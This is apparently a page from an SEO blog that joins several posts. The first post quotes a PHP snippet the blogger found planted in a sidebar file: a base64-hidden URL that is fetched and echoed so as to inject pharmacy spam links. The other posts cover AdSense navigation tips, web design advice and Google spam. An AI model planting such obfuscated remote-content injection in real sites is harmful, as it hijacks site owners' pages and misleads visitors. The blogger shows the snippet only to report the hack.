$str1 = 'aHR0cDovL2NkdC5vcmcvc2VhcmNoL3NlYXJjaGRhdGEvdGVtcGxhdGVzL3N0eWxlLmh0bQ==';
$content=file_get_contents(base64_decode($str1),FALSE);
echo $content; ?>

Thats the PHP code some idiot or robot or whatever left under my sidebar.php page. This code was not exactly malicious in terms of making y’all download a virus or trojan but it did put up 30 links to some pharmacy/health websites. This type of practise usually results in you getting dropped from search engines or getting banned for a long, long time. Furthermore, it costs $45 a month to advertise on this blog
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In our ever lasting quest to dominate the search engines we are still willing to learn the in & outs of what we like to call search engine optimization. Read more

Most webmasters know that Adsense generates a sizeable source of additional advertising income. That is why most of them use it to go after high paying keywords. They have with them the lists that tells what the keywords are and have already used various methods of identifying them. And yet, after putting up these supposed-to-be high paying keywords into their pages, the money they expected to come rolling in is not really coming in.

What is it that they are doing wrong?

Having the pages is with the proper keywords is one thing. But driving visitors to those pages is another matter and often the factor that is lacking.

The thing is, to get visitors to your high paying keyword pages, you need to optimize your site navigation.

Stop for a moment and think about how visitors are using your website. After a visitor has landed on a certain page, they have the tendency to click on another page that sounds interesting. They get there because of the other links that appears on a page that they initially landed on. This is site navigation. It is all about enabling visitors to move about your site. And one way of maximizing your Adsense earnings.

A typical website have menu links on each page. The wording on these links is what grabs a visitors attention and gets them to click on one of the links that will take them to another page of that website. Links that have free downloads are often good attention-grabbers.

This navigation logic can also be applied to driving traffic to your high paying pages. There are some websites that are getting a lot of traffic from search engines, but have low earnings. The trick is to try and use come cleverly labeled links to get the visitors off that pages and navigate them to the higher earning ones. This is one great way of turning real cheap clicks to real dollars.

Before you begin testing if this same style will work for you and you website, you need to have two things. Something to track and compare and some high earning pages you want to funnel your site traffic to. An option is to select a few of your frequently visited pages. This is ensuring fast result to come by.

Now, the next thing to do is think of ways to get visitors viewing a particular page to try and click on the link that will take them to your high earning pages. Come up with a catchy description for that link. Come up with a catchy and unique description for the link. Think of something that people do not get to see everyday. That will trigger their curiosity enough to try and see what that was all about.

You can also use graphics to grab your readers’ attention. There is no limitation to what you can do to make your link noticeable. If you are after the success of your site, you will do everything it takes just to achieve that goal. Just be creative. As far as many Adsense advertisers are concerned, there are no written and unwritten laws to follow regarding what they write. Just as long as you do not overstep the guidelines of the search engines, then go for it.

Also remember that it is all about location, location and location. Once the perfect attention grabbing description has been achieved, you have to identify the perfect spot on your page to position that descriptive link to your high paying page.

There is nothing wrong with visiting other websites to see how they are going about maximizing their site navigation. Hot pages? or Most reader? lists are very common and overly used already. Get to know the ones that many websites are using and do not try to imitate them.

Another way of doing it is to try and use different texts on different pages. That way you will see the ones that work and what does not. Try to mix things around also. Put links on top and sometimes on the bottom too. This is how you go about testing which ones get more clicks and which ones are being ignored.

Let the testing begin. Testing and tracking until you find the site navigation style that works best for you site.

Post written by the happy folks over at the google fund! For more useful tips & hints, browse our website :-www.thegooglefund.com

Geared Up with a website and lots of energy to make a mark online? Spare some time and go through this. You’ll be glad you did. If you don’t already, this is something you MUST know!

1. Maintain an easy to follow Navigational system throughout your website.
2. Do not use frames unless it’s really important. Visitors detest getting stuck up in frames and Search Engines find it difficult to index websites with frames.
3. Avoid using scrollbars horizontally. There is nothing more annoying than having to scroll both vertically and horizontally at all screen lengths.
4. A full Flash Website may look very appealing, but that’s the last thing your visitors are going to wait for to load. Instead try embedding Flash on your pages to get the same look.
5. To minimize download time, use tables with different background colors to add life to your pages, instead of using too many graphics.
6. Do not cluster too many animated buttons and banners throughout your site. Your visitors will not be able to browse comfortably with all that blinking going on and will surf elsewhere.
7. Keep updating your website. People will not return if they find the same old stuff lying there.
8. Put up a message board, feedback form, guestbook etc. to add a touch of interactivity to your website.
9. Make it a point to return the visits and/or answer all e-mails/messages within a reasonable period of time.
10. Provide links to other websites, even your competitors, if possible. This shows you are not conceited and are willing to help your visitors to find what they need. This little gesture goes a long way to earn you goodwill.

About the Author

Lata Tokhi is the joint owner of Elements Web Services, a website dedicated to providing quality web services and products like banner design, website content, website templates, info-products, scripts etc. Visit her website at http://www.elementswebservices.com

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We all want to get exceptional rankings in google and other search engines therefore many of us resort to low level tactis such as spam. We should not spam simply because google knows it exists!! Watch the video below to see Matt Cutts on what google knows about spam:

So SEO is good and recommended…now to find me cheap a whitehat SEO activist .

Via Matt Cutts Blog.